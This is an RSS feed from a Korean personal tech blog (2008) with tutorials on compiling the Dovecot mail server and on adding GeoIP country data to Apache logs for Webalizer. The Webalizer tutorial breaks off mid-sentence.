<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
	<channel>
		<title>디지문닷넷</title>
		<link>http://www.digimoon.net/blog/</link>
		<description>DigiMoon 맘대로 닦고 조이고 기름치는 재미가 있는 DigiMoon만의 기억 저장소</description>
		<language>ko</language>
		<pubDate>Wed, 27 Aug 2008 09:16:33 +0900</pubDate>
		<generator>Tattertools 1.1.2.2 : Animato</generator>
		<image>
		<title>디지문닷넷</title>
		<url>http://www.digimoon.net/blog/attach/1/1328558559.gif</url>
		<link>http://www.digimoon.net/blog/</link>
		<width>190</width>
		<height>175</height>
		<description>DigiMoon 맘대로 닦고 조이고 기름치는 재미가 있는 DigiMoon만의 기억 저장소</description>
		</image>
		<item>
			<title>dovecot 소스 컴파일 설치</title>
			<link>http://www.digimoon.net/blog/316</link>
			<description>&lt;FONT color=#0000ff&gt;작성자: 주인장 &lt;/FONT&gt;&lt;STRONG&gt;&lt;FONT color=#0000ff&gt;디지문&lt;/FONT&gt;&lt;br /&gt;&lt;/STRONG&gt;(&lt;A href=&quot;http://www.digimoon.net/&quot; target=_blank&gt;http://www.digimoon.net/&lt;/A&gt;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;P&gt;소스는 아래 사이트에서 구한다.&lt;A href=&quot;http://dovecot.org/&quot; target=_blank&gt;&lt;br /&gt;http://dovecot.org/&lt;/A&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;/P&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;# wget http://dovecot.org/releases/1.1/dovecot-1.1.2.tar.gz&lt;br /&gt;# tar xvfz dovecot-1.1.2.tar.gz&lt;br /&gt;# cd dovecot-1.1.2&lt;br /&gt;# ./configure --prefix=/usr --localstatedir=/var --with-pam --with-gssapi --with-mysql&lt;br /&gt;# make&lt;br /&gt;# make install&lt;br /&gt;# cp /usr/etc/dovecot-example.conf /usr/etc/dovecot.conf&lt;br /&gt;# groupadd -g 97 dovecot&lt;br /&gt;# useradd -u 97 -g 97 -d /usr/libexec/dovecot -s /sbin/nologin dovecot&lt;/DIV&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;편집기로 환경설정 파일인 dovecot.conf 을 아래와 같이 내용 작성한다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;# vi /usr/etc/dovecot.conf&lt;/DIV&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #c9edff&quot;&gt;protocols = imap pop3&lt;br /&gt;disable_plaintext_auth = no&lt;br /&gt;ssl_disable = yes&lt;br /&gt;protocol imap {&lt;br /&gt;}&lt;br /&gt;protocol pop3 {&lt;br /&gt;}&lt;br /&gt;auth default {&lt;br /&gt;mechanisms = plain&lt;br /&gt;passdb passwd {&lt;br /&gt;}&lt;br /&gt;passdb shadow {&lt;br /&gt;}&lt;br /&gt;userdb passwd {&lt;br /&gt;}&lt;br /&gt;user = root&lt;br /&gt;}&lt;br /&gt;plugin {&lt;br /&gt;}&lt;br /&gt;mail_privileged_group = mail&lt;/DIV&gt;&lt;br /&gt;&lt;div class=&quot;imageblock left&quot; style=&quot;float: left; margin-right: 10px;&quot;&gt;&lt;a href=&quot;http://www.digimoon.net/blog/attachment/1157885418.conf&quot;&gt;&lt;img src=&quot;http://www.digimoon.net/blog/image/extension/unknown.gif&quot; /&gt; dovecot.conf&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;실행 커맨드는 아래와 같다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;# /usr/sbin/dovecot &lt;/DIV&gt;&lt;br /&gt;아래와 같이 출력된다면 dovecot이 잘 올라온 상태이다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;[root@digimoon modules]# netstat -nlp&lt;br /&gt;Active Internet connections (only servers)&lt;br /&gt;Proto Recv-Q Send-Q Local Address &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Foreign Address &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; State &amp;nbsp; &amp;nbsp; &amp;nbsp; PID/Program name&lt;br /&gt;tcp &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 0.0.0.0:50022 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0.0.0.0:* &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; LISTEN &amp;nbsp; &amp;nbsp;&amp;nbsp; 18505/xinetd&lt;br /&gt;tcp &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 0.0.0.0:873 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0.0.0.0:* &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; LISTEN &amp;nbsp; &amp;nbsp;&amp;nbsp; 18505/xinetd&lt;br /&gt;tcp &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 0.0.0.0:3306 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; 0.0.0.0:* &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; LISTEN &amp;nbsp; &amp;nbsp;&amp;nbsp; 18313/mysqld&lt;br /&gt;tcp &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 0.0.0.0:139 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0.0.0.0:* &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; LISTEN &amp;nbsp; &amp;nbsp;&amp;nbsp; 3523/smbd&lt;br /&gt;&lt;FONT color=#ff0000&gt;tcp &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 0.0.0.0:110 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0.0.0.0:* &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; LISTEN &amp;nbsp; &amp;nbsp;&amp;nbsp; 21245/dovecot&lt;br /&gt;tcp &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 0.0.0.0:143 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0.0.0.0:* &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; LISTEN &amp;nbsp; &amp;nbsp;&amp;nbsp; 21245/dovecot&lt;br /&gt;&lt;/FONT&gt;tcp &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 0.0.0.0:21 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; 0.0.0.0:* &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; LISTEN &amp;nbsp; &amp;nbsp;&amp;nbsp; 18505/xinetd&lt;br /&gt;tcp &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 0.0.0.0:25 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; 0.0.0.0:* &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; LISTEN &amp;nbsp; &amp;nbsp;&amp;nbsp; 19307/sendmail: acc&lt;br /&gt;tcp &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 0.0.0.0:445 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0.0.0.0:* &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; LISTEN &amp;nbsp; &amp;nbsp;&amp;nbsp; 3523/smbd&lt;br /&gt;tcp &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 :::80 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; :::* &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; LISTEN &amp;nbsp; &amp;nbsp;&amp;nbsp; 4562/httpd&lt;br /&gt;udp &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 192.168.0.100:137 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0.0.0.0:* &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 3528/nmbd&lt;br /&gt;udp &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 0.0.0.0:137 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0.0.0.0:* &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 3528/nmbd&lt;br /&gt;udp &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 192.168.0.100:138 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0.0.0.0:* &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 3528/nmbd&lt;br /&gt;udp &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 0.0.0.0:138 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0.0.0.0:* &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 3528/nmbd&lt;br /&gt;udp &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 &amp;nbsp; &amp;nbsp;&amp;nbsp; 0 0.0.0.0:161 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0.0.0.0:* &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 2832/snmpd&lt;br /&gt;Active UNIX domain sockets (only servers)&lt;br /&gt;Proto RefCnt Flags &amp;nbsp; &amp;nbsp; &amp;nbsp; Type &amp;nbsp; &amp;nbsp; &amp;nbsp; State &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; I-Node PID/Program name &amp;nbsp;&amp;nbsp; Path&lt;br /&gt;&lt;FONT color=#ff0000&gt;unix&amp;nbsp; 2 &amp;nbsp; &amp;nbsp;&amp;nbsp; [ ACC ] &amp;nbsp; &amp;nbsp; STREAM &amp;nbsp; &amp;nbsp; LISTENING &amp;nbsp; &amp;nbsp; 5738801 21245/dovecot &amp;nbsp; &amp;nbsp; &amp;nbsp; /var/run/dovecot/dict-server&lt;br /&gt;unix&amp;nbsp; 2 &amp;nbsp; &amp;nbsp;&amp;nbsp; [ ACC ] &amp;nbsp; &amp;nbsp; STREAM &amp;nbsp; &amp;nbsp; LISTENING &amp;nbsp; &amp;nbsp; 5738803 21245/dovecot &amp;nbsp; &amp;nbsp; &amp;nbsp; /var/run/dovecot/login/default&lt;br /&gt;unix&amp;nbsp; 2 &amp;nbsp; &amp;nbsp;&amp;nbsp; [ ACC ] &amp;nbsp; &amp;nbsp; STREAM &amp;nbsp; &amp;nbsp; LISTENING &amp;nbsp; &amp;nbsp; 5738812 21245/dovecot &amp;nbsp; &amp;nbsp; &amp;nbsp; /var/run/dovecot/auth-worker.21246&lt;/FONT&gt;&lt;br /&gt;unix&amp;nbsp; 2 &amp;nbsp; &amp;nbsp;&amp;nbsp; [ ACC ] &amp;nbsp; &amp;nbsp; STREAM &amp;nbsp; &amp;nbsp; LISTENING &amp;nbsp; &amp;nbsp; 1535445 28839/saslauthd &amp;nbsp; &amp;nbsp; /var/run/saslauthd/mux&lt;br /&gt;unix&amp;nbsp; 2 &amp;nbsp; &amp;nbsp;&amp;nbsp; [ ACC ] &amp;nbsp; &amp;nbsp; STREAM &amp;nbsp; &amp;nbsp; LISTENING &amp;nbsp; &amp;nbsp; 5976316 18313/mysqld &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; /tmp/mysql.sock&lt;br /&gt;[root@digimoon modules]#&lt;/DIV&gt;
&lt;P&gt;&lt;br /&gt;&lt;br /&gt;실제 사용 시 인증 관련 에러를 비롯해서 한 번에 성공 안 되고 답답하다면 구글 검색 밖에 답 없음... ^^&lt;br /&gt;하지만 위 dovecot.conf 샘플 내용을 그대로 적용한다면 분명히 성공할 겁니다. ㅎ&lt;/P&gt;</description>
			<category>리눅스</category>
			<category>dovecot</category>
			<category>imap</category>
			<category>pop3</category>
			<category>설치</category>
			<category>소스</category>
			<category>컴파일</category>
			<author> (디지문)</author>
			<guid>http://www.digimoon.net/blog/316</guid>
			<comments>http://www.digimoon.net/blog/316#entry316comment</comments>
			<pubDate>Tue, 12 Aug 2008 22:31:43 +0900</pubDate>
		</item>
		<item>
			<title>Webalizer에서 국가별 로그 출력하기</title>
			<link>http://www.digimoon.net/blog/315</link>
			<description>&lt;FONT color=#0000ff&gt;작성자: 주인장 &lt;/FONT&gt;&lt;STRONG&gt;&lt;FONT color=#0000ff&gt;디지문&lt;/FONT&gt;&lt;br /&gt;&lt;/STRONG&gt;(&lt;A href=&quot;http://www.digimoon.net/&quot; target=_blank&gt;http://www.digimoon.net/&lt;/A&gt;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;간만에 팁 하나 작성합니다. ^^&lt;br /&gt;&amp;nbsp;이번엔 아파치 웹서버용 웹로그 분석툴 중 가장 대표적인 Webalizer에 관한 팁을 소개하고자 합니다.&lt;br /&gt;&amp;nbsp;Webalizer를 설치하는 방법에 대해선 인터넷을 뒤져보면 수두룩하게 나옵니다만 저는 좀 더 진보된 기능을 수행하는 Webalizer 설치법을 소개하고자 합니다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;STRONG&gt;&lt;FONT size=3&gt;&lt;br /&gt;&lt;/FONT&gt;&lt;FONT size=4&gt;Webalizer에서 국가별 로그 출력하기&lt;/FONT&gt;&lt;/STRONG&gt;&lt;br /&gt;(GeoIP C API + Apache mod_geoip module + Webalizer with Geolizer patch)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;img src=&quot;http://www.digimoon.net/blog/attach/1/1002831379.jpg&quot; alt=&quot;사용자 삽입 이미지&quot; height=&quot;90&quot; width=&quot;515&quot; /&gt;&lt;/div&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;아마 알만한 분들은 잘 아실 겁니다. Webalizer를 설치하고 나면 웹분석 화면 제일 하단에 국가별 로그를 출력하는 곳이 위 이미지처럼 나오죠. 참 심심하죠. 내 서버에 접속하는 인간이나 로봇(검색 로봇)들의 국가 정보까지 알수 있으면 얼마나 좋을까요? 그런데 오리지날 Webalizer는 골때리게도 기본으로 제공되는 소스로 설치하면 국가 정보가 출력되지 않습니다. 그럼 뭐하러 저 메뉴를 출력하는 것일까요? ^^;;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;이번에 소개하고자 하는 팁은 위 옥의 티를 극복하기 위한 방법입니다.&lt;br /&gt;&amp;nbsp;아파치 웹서버의 mod_geoip 모듈과 Geolizer라는 Webalizer용 패치를 조합하는 방법을 이제 소개하고자 합니다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;아파치에 mod_geoip 모듈을 적재하게 되면 아래와 같이 아파치 로그 파일에 발생하는 로그 행마다 국가명 이니셜이 끝에 붙어 나오게 됩니다. 붉게 강조한 부분입니다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;219.254.51.110 - - [08/Jul/2008:00:14:12 +0900] &quot;GET /commu/union/l_0103a.gif HTTP/1.1&quot; 200 427 &quot;http://sh890918.digimoon.net/commu/union/noname5.htm&quot; &quot;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)&quot; sh890918.digimoon.net &lt;FONT color=#ff0000&gt;&lt;STRONG&gt;KR&lt;/STRONG&gt;&lt;/FONT&gt;&lt;br /&gt;219.254.51.110 - - [08/Jul/2008:00:14:12 +0900] &quot;GET /commu/union/1.gif HTTP/1.1&quot; 200 13823 &quot;http://sh890918.digimoon.net/commu/union/noname5.htm&quot; &quot;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)&quot; sh890918.digimoon.net &lt;FONT color=#ff0000&gt;&lt;STRONG&gt;KR&lt;/STRONG&gt;&lt;/FONT&gt;&lt;br /&gt;211.224.159.73 - - [08/Jul/2008:00:14:13 +0900] &quot;GET /8th/images/2001img/analysis_shingo.gif HTTP/1.1&quot; 403 312 &quot;http://blog.naver.com/PostView.nhn?blogId=28686&amp;amp;logNo=100051155920&amp;amp;categoryNo=9&amp;amp;viewdate=&amp;amp;cpage=1&amp;amp;postListTopCurrentPage=1&quot; &quot;Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)&quot; mse9000.digimoon.net &lt;FONT color=#ff0000&gt;&lt;STRONG&gt;KR&lt;/STRONG&gt;&lt;/FONT&gt;&lt;br /&gt;211.224.159.73 - - [08/Jul/2008:00:14:13 +0900] &quot;GET /8th/images/analysis_review.jpg HTTP/1.1&quot; 403 304 &quot;http://blog.naver.com/PostView.nhn?blogId=28686&amp;amp;logNo=100051155920&amp;amp;categoryNo=9&amp;amp;viewdate=&amp;amp;cpage=1&amp;amp;postListTopCurrentPage=1&quot; &quot;Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)&quot; mse9000.digimoon.net &lt;FONT color=#ff0000&gt;&lt;STRONG&gt;KR&lt;/STRONG&gt;&lt;/FONT&gt;&lt;br /&gt;219.254.51.110 - - [08/Jul/2008:00:14:19 +0900] &quot;GET /W/Wmc/bn.gif HTTP/1.1&quot; 200 258 &quot;http://sh890918.woweb.net/h/index.php&quot; &quot;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)&quot; sh890918.digimoon.net &lt;FONT color=#ff0000&gt;&lt;STRONG&gt;KR&lt;/STRONG&gt;&lt;/FONT&gt;&lt;/DIV&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;위와 같이 수집되는 아파치 로그 파일을 geolizer 패치가 된 webalizer로 수집 분석하면 국가별 접속 정보까지 웹브라우저 화면으로 확인할 수 있는 겁니다. 아래 링크처럼 말이죠. ^^&lt;br /&gt;&amp;nbsp;&lt;A href=&quot;http://sysd.org/hybrid/stats/&quot; target=_blank&gt;http://sysd.org/hybrid/stats/&lt;/A&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;geolizer 패치를 배포하는 사이트에서 제공하는 테스트용 페이지입니다. id: stats, passwd: stats 입니다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;우선 자신의 서버에 이 팁을 적용하기 위해서는 아래 전제 조건을 만족해야 합니다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #c9edff&quot;&gt;1. Apache가 DSO 방식으로 설치되어 있어야 합니다. mod_geoip 모듈을 DSO방식으로 적재하기 위해서입니다. static으로 geoip 모듈을 적재하는 방법을 아직 못 찾았습니다. ㅜ,.ㅜ;;&lt;br /&gt;&lt;br /&gt;2. Apache와 PHP가 설치되어 있어야 합니다. 이건 GeoIP와의 관련 문제는 아니고 Webalizer 자체를 사용하기 위함이죠. 대부분 서버에 APM을 설치해서 운용들을 많이 하니 별다른 고민이 필요 없는 사항입니다.&lt;br /&gt;&lt;br /&gt;3. PHP에 gd, libpng 라이브러리가 포함되어 있어야 합니다. 대부분 APM 설치할 때 PHP 관련 라이브러리도 여러가지를 함께 깔아 주게 되니 이것 역시 APM만 제대로 설치되어 있다면 크게 고민치 않아도 되겠습니다.&lt;/DIV&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;일단 아파치에 mod_geoip 모듈을 적재해야죠. 그러기 위해서는 &lt;STRONG&gt;GeoIP C API&lt;/STRONG&gt; 라는 녀석을 먼저 설치해 두어야 합니다. 아파치의 mod_geoip 모듈 뿐만 아니라 php 관련 모듈인 geoip.so 를 적재하기 위해서도 마찬가지입니다. &lt;br /&gt;&amp;nbsp;아래 링크를 참고하여 설치하면 되겠습니다.&lt;br /&gt;&amp;nbsp; &lt;A href=&quot;http://coffeenix.net/board_view.php?bd_code=1638&quot; target=_blank&gt;http://coffeenix.net/board_view.php?bd_code=1638&lt;/A&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;소스를 받아 설치하는 것입니다. 08년 7월 현재 &lt;A href=&quot;http://www.maxmind.com/download/geoip/api/c/GeoIP-1.4.4.tar.gz&quot; target=_blank&gt;http://www.maxmind.com/download/geoip/api/c/GeoIP-1.4.4.tar.gz&lt;/A&gt;&amp;nbsp;가 최신버전이로군요. /usr/local/src 디렉토리에 받아놓고 설치해 보겠습니다. 완전 쉽습니다. ^^&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;# cd /usr/local/src&lt;br /&gt;# wget http://www.maxmind.com/download/geoip/api/c/GeoIP-1.4.4.tar.gz&lt;br /&gt;# tar xvfz GeoIP-1.4.4.tar.gz&lt;br /&gt;# cd GeoIP-1.4.4&lt;br /&gt;# ./configure --prefix=/usr/local/GeoIP&lt;br /&gt;# make&lt;br /&gt;# make install&lt;/DIV&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;설치를 마치면 아래 경로에 GeoIP.dat 라는 바이너리 포맷 형식의 파일이 생성됩니다. 아마도 이 파일이 IP 주소 대역에 대응되는 국가 명칭 정보를 담고 있겠죠. ^^&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;# ls -l /usr/local/GeoIP/share/GeoIP/GeoIP.dat&lt;br /&gt;-rw-r--r--&amp;nbsp; 1 root root 1.1M&amp;nbsp; 7월&amp;nbsp; 6 14:37 /usr/local/GeoIP/share/GeoIP/GeoIP.dat&lt;/DIV&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;이제 아파치의 mod_geoip 모듈을 설치하면 됩니다. 저는 아파치 2.x 버전에 설치하므로 &lt;A href=&quot;http://www.maxmind.com/download/geoip/api/mod_geoip2/&quot; target=_blank&gt;http://www.maxmind.com/download/geoip/api/mod_geoip2/&lt;/A&gt;&amp;nbsp;에서 받아 설치해 보겠습니다.&amp;nbsp; 
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;# cd /usr/local/src&lt;br /&gt;# wget http://www.maxmind.com/download/geoip/api/mod_geoip2/mod_geoip2_1.2.4.tar.gz&lt;br /&gt;# tar xvfz mod_geoip2/mod_geoip2_1.2.4.tar.gz&lt;br /&gt;# cd mod_geoip2-1.2.4&lt;br /&gt;# /usr/local/apache/bin/apxs -a -i -L/usr/local/GeoIP/lib -I/usr/local/GeoIP/include -lGeoIP -c mod_geoip.c&lt;/DIV&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;그런 다음 아파치 환경 설정 파일인 httpd.conf 안에 아래 내용을 추가 또는 수정해서 적용하면 됩니다.&lt;br /&gt;
&lt;DIV style=&quot;PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BACKGROUND-COLOR: #e4e4e4&quot;&gt;&amp;lt;IfModule mod_geoip.c&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; GeoIPEnable On&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; GeoIPDBFile /usr/local/GeoIP/share/GeoIP/GeoIP.dat&lt;br /&gt;&amp;lt;/IfModule&amp;gt;&lt;br /&gt;&lt;br /&gt;LogFormat &quot;%h %l %u %t \&quot;%r\&quot; %&amp;gt;s %b \&quot;%{Referer}i\&quot; \&quot;%{User-Agent}i\&quot; %{Host}i %{GEOIP_COUNTRY_CODE}e&quot; cnxlog&lt;br /&gt;&lt;br /&gt;CustomLog logs/access_log cnxlog&lt;/DIV&gt;&lt;br /&gt;&amp;nbsp;로그 파일의 저장 방식이 httpd.conf 에서는 디폴트값으론 common 으로 되어 있습니다. cnxlog 방식으로 저장되게 바꾸어 주는 겁니다.&lt;br /&gt;&amp;nbsp;httpd.conf 파일을 수정하였으면 아파치를 리스타트합니다. 그러면 이제부턴 access_log에 국가명 이니셜이 뒤에 붙으며 기록되기 시작합니다. 세계 곳곳에서 서버에 접속하는 현황을 실시간 로그로 가만히 보고 있으면 은근히 